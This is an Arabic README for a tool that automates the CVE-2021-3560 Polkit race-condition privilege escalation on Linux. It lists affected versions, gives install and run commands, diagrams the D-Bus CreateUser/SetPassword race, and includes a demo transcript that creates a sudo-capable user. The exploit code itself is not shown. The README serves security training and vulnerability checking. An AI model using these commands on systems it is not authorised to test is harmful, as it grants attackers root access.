CVE-2021-3560 تصعيد الصلاحيات المحلي في Polkit

        .--.  .-"     "-.  .--.
      / .. \/  .-. .-.  \/ .. \
     | |  '|  /   Y   \  |'  | |
     | \   \  \ 0 | 0 /  /   / |
      \ '- ,\.-"`` ``"-./, -' /
       `'-' /_   ^ ^   _\ '-'`
        .--'|  \._   _./  |'--.
      /`    \   \ `~` /   /    `\
     /       '._ '---' _.'       \
    /           '~---~'           \
   /                               \

أداة استغلال آلية لثغرة CVE-2021-3560 التي تؤثر على PolicyKit (Polkit) في أنظمة لينكس.

⚠️ تحذير: هذه الأداة مخصصة للأغراض التعليمية والتدريب على الأمن السيبراني فقط في بيئة مختبرية خاضعة للتحكم. الاستخدام غير المصرح به لهذا الاستغلال على أنظمة لا تملكها يعد غير قانوني.

📋 جدول المحتويات

• حول الثغرة
• الأنظمة القابلة للتأثر
• الميزات
• المتطلبات الأساسية
• التثبيت
• الاستخدام
• كيف يعمل
• العرض التوضيحي
• التخفيف
• المراجع

🔍 حول الثغرة

CVE-2021-3560 هي ثغرة سباق حالة (race condition) محلية في PolicyKit (polkit) تسمح لمستخدم غير مميز بالحصول على صلاحيات الجذر (root) على أنظمة لينكس القابلة للتأثر.

التفاصيل التقنية

• معرف CVE: CVE-2021-3560
• الخطورة: عالية (CVSS 7.8)
• النوع: سباق حالة (Race Condition) / وقت الفحص-وقت الاستخدام (TOCTOU)
• الأثر: تصعيد الصلاحيات المحلي (LPE)
• تاريخ الإفصاح: يونيو 2021

الإصدارات المتأثرة

تؤثر الثغرة على فرعين من Polkit بترقيم إصدارات مختلف:

المصدر الرئيسي (الإصدارات الرسمية)

• قابل للتأثر: من 0.113 إلى 0.118
• تقديم الثغرة: Commit bfa5036 (الإصدار 0.113)
• تم الإصلاح: الإصدار 0.119+

فرع Debian/Ubuntu

• قابل للتأثر: 0.105-26 وما فوق (حتى 0.118)
• تقديم الثغرة: Commit f81d021 (الإصدار 0.105-26)
• غير قابل للتأثر: Debian 10 "buster" (0.105-25)

💻 الأنظمة القابلة للتأثر

التوزيعة	إصدار Polkit	قابلة للتأثر؟
Ubuntu 20.04	0.105-26ubuntu1	✅ نعم
Ubuntu 18.04	0.105-20	❌ لا
Debian testing "bullseye"	0.105-31+	✅ نعم
Debian 10 "buster"	0.105-25	❌ لا
RHEL 8	0.115-11+	✅ نعم
RHEL 7	< 0.113	❌ لا
Fedora 21+	0.113+	✅ نعم
Fedora 20 وما قبلها	< 0.113	❌ لا

📝 ملاحظة: الأنظمة التي تم تطبيق التصحيحات الأمنية عليها (مثل: ubuntu1.1، deb10u1) ليست قابلة للتأثر.

✨ الميزات

• ✅ كشف تلقائي للثغرة عبر توزيعات متعددة
• ✅ دعم أنظمة تشغيل متعددة: Debian، Ubuntu، RHEL، CentOS، Fedora، Arch Linux
• ✅ التحقق من التبعيات للأدوات المطلوبة
• ✅ وضع الفحص: التحقق من الثغرة دون استغلال
• ✅ توقيت تكيفي: قياس تلقائي للتوقيت الأمثل لسباق الحالة
• ✅ مؤشرات التقدم: عرض التقدم في الوقت الفعلي
• ✅ مخرجات ملوّنة: واجهة واضحة وسهلة القراءة
• ✅ معالجة أخطاء قوية: رسائل صريحة عند الفشل

📦 المتطلبات الأساسية

إصدار بايثون

• Python 3.6+ (متوافق مع الأنظمة الأقدم مثل CentOS 8)

تبعيات النظام

يتطلب الاستغلال الأدوات التالية (يتم التحقق منها تلقائيًا):

- dbus-send      # To communicate with D-Bus
- pkexec         # Part of PolicyKit
- id             # To verify user creation
- openssl        # To generate password hash

الخدمة المطلوبة

- accountsservice  # Must be installed and active

🚀 التثبيت

# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit

# Make the script executable
chmod +x CVE-2021-3560_Polkit.py

📖 الاستخدام

الوضع 1: فحص الثغرة (--check)

تحقق مما إذا كان النظام قابلاً للتأثر دون تشغيل الاستغلال:

python3 CVE-2021-3560_Polkit.py --check

مثال على المخرجات:

[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)

الوضع 2: الاستغلال

إنشاء مستخدم بصلاحيات مميزة:

python3 CVE-2021-3560_Polkit.py -u <username> -p <password>

مثال:

python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!

الخيارات الكاملة

usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]

options:
  -h, --help            Show help
  -u, --username        Username to create
  -p, --password        Password for new user
  -c, --check           Check vulnerability without exploiting

⚙️ كيف يعمل

يستغل هذا الاستغلال سباق حالة (race condition) في PolicyKit أثناء معالجة طلبات D-Bus.

مبدأ الثغرة

1. طلب D-Bus: يرسل المستخدم طلب D-Bus لإنشاء مستخدم
2. فحص التفويض: يتحقق Polkit مما إذا كان المستخدم يمتلك الصلاحيات
3. سباق الحالة: إذا تم إغلاق اتصال D-Bus أثناء التحقق، يتعامل Polkit مع UID كقيمة 0 (root)
4. إنشاء المستخدم: يتم إنشاء المستخدم بصلاحيات مرتفعة

خطوات الاستغلال

┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement                          │
│    └─> Test execution to calibrate timing              │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation                         │
│    └─> Send D-Bus CreateUser request                   │
│    └─> Kill process at precise moment (race condition) │
│    └─> Verify if user created                          │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation                            │
│    └─> Using openssl passwd -6                         │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting                      │
│    └─> Send D-Bus SetPassword request                  │
│    └─> Kill process at precise moment (race condition) │
│    └─> Test login with password                        │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation                                │
│    └─> Login with created account                      │
│    └─> Use sudo if member of sudo group                │
└─────────────────────────────────────────────────────────┘

🎬 العرض التوضيحي

سيناريو استغلال نموذجي

# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!

# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!

╔═══════════════════════════════════════════════════════════╗
║       CVE-2021-3560 Polkit Privilege Escalation          ║
╚═══════════════════════════════════════════════════════════╝

[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!

╔═══════════════════════════════════════════════════════════╗
║                  EXPLOIT SUCCESSFUL!                      ║
╚═══════════════════════════════════════════════════════════╝